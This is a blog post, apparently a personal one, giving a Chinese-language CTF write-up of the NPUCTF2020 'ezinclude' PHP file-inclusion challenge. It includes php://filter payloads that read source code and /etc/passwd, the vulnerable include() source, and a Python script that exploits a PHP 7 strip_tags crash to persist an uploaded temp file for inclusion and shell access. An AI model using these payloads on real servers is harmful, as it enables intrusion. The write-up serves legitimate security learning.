Z1d10tのBlog

A note for myself,have fun!

[NPUCTF2020]ezinclude

一道php文件临时包含的题目,之前没见过

进入之后 根据提示 给pass传一个hash值 可以抓包看到

然后直接在bp里操作就行,不然网页会挑战到一个404网页

img

存在文件包含

一般这种flag文件名称会被改写成奇奇怪怪的形式,靠猜是猜不到的

读一下当前页面的源码吧 用一下伪协议

构造payload:?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

发现data input zip协议都被河蟹了 没办法直接命令执行

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

扫一下网站 发现还有config.php 里面是假的flag 还有一个dir.php

内容如下:

img

发现这个文件可以帮我们扫/tmp的文件目录 这个目录是存储用户临时文件的地方 我们对他有写权限

这里用到了 php临时文件包含的漏洞 具体参考(https://www.anquanke.com/post/id/201136#h2-11)

php7.0的bug:

1
?file=php://filter/string.strip_tags/resource=/etc/passwd

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

利用大佬现成的脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
url="http://5fd4afee-539c-424e-9b53-31cc89bbddf7.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)


print(r.text)

之后再去看看dir.php

img

发现我们的恶意文件已经被上传

再去包含一下我们的文件

img

本文最后更新于 天前,文中所描述的信息可能已发生改变